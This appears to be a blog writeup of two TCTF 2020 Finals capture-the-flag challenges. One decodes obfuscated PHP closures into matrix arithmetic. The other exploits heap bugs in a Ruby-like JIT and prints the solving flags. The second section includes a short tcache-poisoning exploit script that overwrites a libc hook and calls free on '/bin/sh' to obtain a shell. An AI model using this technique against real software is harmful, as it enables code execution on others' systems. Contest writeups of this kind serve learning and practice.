TCTF 2020 Finals Writeup

I realized that the blog had not been updated for a year, so it was time to fill in one of the gaps.

TCTF 2020 began at 10 a.m. and lasted 24 hours. My teammates and I spent the entire day competing in room 108, until I could no longer stay awake and fell asleep at 4 a.m. We ultimately placed second in the Rising Star division. In KoH, we lost to NeSE because we could not determine how to wire an S-box efficiently from logic gates.

Unlimited

The challenge provided a PHP syntax tree generated by PHP-Parser. The library can emit two formats: JSON and the private format supplied by the challenge. Strangely, it can only load its JSON output, not its own private format. I adapted the Pascal compiler from my compilers course project, quickly wrote a parser for the private representation, and emitted JSON. After loading that JSON with PHP-Parser and using PrettyPrint to recover PHP, I renamed some variables and removed the obfuscation, producing the following code:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68

<?php

$inc_iter = function ($iter) {
    return function ($func) use ($iter) {
        return function ($arg) use ($func, $iter) {
            return $func($iter($func)($arg));
        };
    };
};
$add1 = function ($x) {
    return $x + 1;
};
$add_iter = function ($iter_b) {
    return function ($iter_a) use ($iter_b) {
        return function ($func) use ($iter_b, $iter_a) {
            return function ($arg) use ($func, $iter_b, $iter_a) {
                return $iter_b($func)($iter_a($func)($arg));
            };
        };
    };
};
$del1 = function ($x) {
    return $x - 1;
};
$zero_iter = function ($func) {
    return function ($arg) {
        return $arg;
    };
};
$mul3_mod7 = function ($x) {
    return $x * 3 % 7;
};
$mul_iter = function ($lIlIll1111) use ($add_iter, $zero_iter) {
    return function ($II1IIl1Ill) use ($lIlIll1111, $add_iter, $zero_iter) {
        return $lIlIll1111($add_iter($II1IIl1Ill))($zero_iter);
    };
};
$one_iter = function ($func) {
    return function ($arg) use ($func) {
        return $func($arg);
    };
};
$inc = function ($x) {
    return ($x + 1) % 1000000007;
};
$martix = array(array($add_iter($inc_iter...;
for ($loop_iter = $zero_iter;
     $loop_iter($add1)(998244353) < $loop_iter($del1)(6755399441055744);
     $loop_iter = $inc_iter($loop_iter)) {
    $src_line = $martix[$loop_iter($mul3_mod7)(1)];
    $dst_line = $martix[$mul_iter($loop_iter)($loop_iter)($mul3_mod7)(1)];
    $dst_line[0] = $mul_iter($prev_line[0])($src_line[0]);
    $dst_line[0] = $add_iter($mul_iter($src_line[3])($prev_line[1]))($dst_line[0]);
    $dst_line[8] = $mul_iter($prev_line[8])($src_line[8]);
    $dst_line[8] = $add_iter($dst_line[8])($mul_iter($prev_line[6])($src_line[2]));
    $dst_line[7] = $mul_iter($prev_line[7])($src_line[4]);
    $dst_line[7] = $add_iter($mul_iter($src_line[1])($prev_line[6]))($dst_line[7]);
    $dst_line[1] = $mul_iter($prev_line[1])($src_line[4]);
    ...
    $prev_line = $dst_line;
}
echo 'flag{';
for ($loop_iter = $one_iter;
     $loop_iter($add1)(-9);
     $loop_iter = $add_iter($one_iter)($loop_iter)) {
    echo "{$prev_line[$loop_iter($del1)(9)]($inc)(0)}-";
}
echo "{$prev_line[$loop_iter($del1)(9)]($inc)(0)}}";

Start with $zero_iter and $one_iter. Both belong to the same class of iterator functions and consist of two nested closures. When called as $iter($func)($arg), one invokes $func($arg) zero times and the other invokes it once.

Next consider $add_iter. It consists of four nested closures. If the first two arguments are iterator functions, the inner two layers produce a new iterator whose number of $func($arg) invocations is the sum of the invocation counts of the two outer iterators. The same reasoning shows that $inc_iter increments the count and $mul_iter multiplies counts.

The loop at the bottom is actually 3×3 matrix multiplication. Every matrix element is an iterator, whose invocation count represents its value. Each iteration selects a matrix from $martix and multiplies it by $prev_line. If the matrix represented by $prev_line is P, then:

1

P = A0 * (A1 * A3 * A2 * A6 * A4 * A5) * A1 * …

First compute the product of the six matrices A1 * … * A5, then use exponentiation by squaring to obtain the final result.

The flag consists of the resulting matrix entries modulo 1000000007, reversed and joined with hyphens.

Flag: flag{432734187-186275980-552238391-407500134-680581127-536698178-262495339-821428559-850467550}

Secure JIT

This challenge implements a JIT for a Ruby-like language. I found the source of rubi on GitHub and discovered that the JIT was full of vulnerabilities. Declarations such as functions and strings could hold at most 256 entries and overflowed beyond that. I then studied the wrappers around library functions in stdlib.c. Arrays were allocated through a malloc wrapper, the JIT could call free directly, and array reads and writes had no bounds checks at all. The system used libc 2.27 with tcache. My teammate N0p ultimately solved the challenge, since I do not know pwn.

1
2
3
4
5
6
7
8
9

x = Array(1024)
y = Array(30)
z = Array(128)
free(y)
y[0] = z[0] - 1935320 + 1939664
y = Array(30)
y = Array(30)
y[0] = z[0] - 1935320 + 250448
free("/bin/sh")

Flag: flag{did_you_try_to_fuzz_it_haha_how_many_memory_corruption_bugs_did_you_find}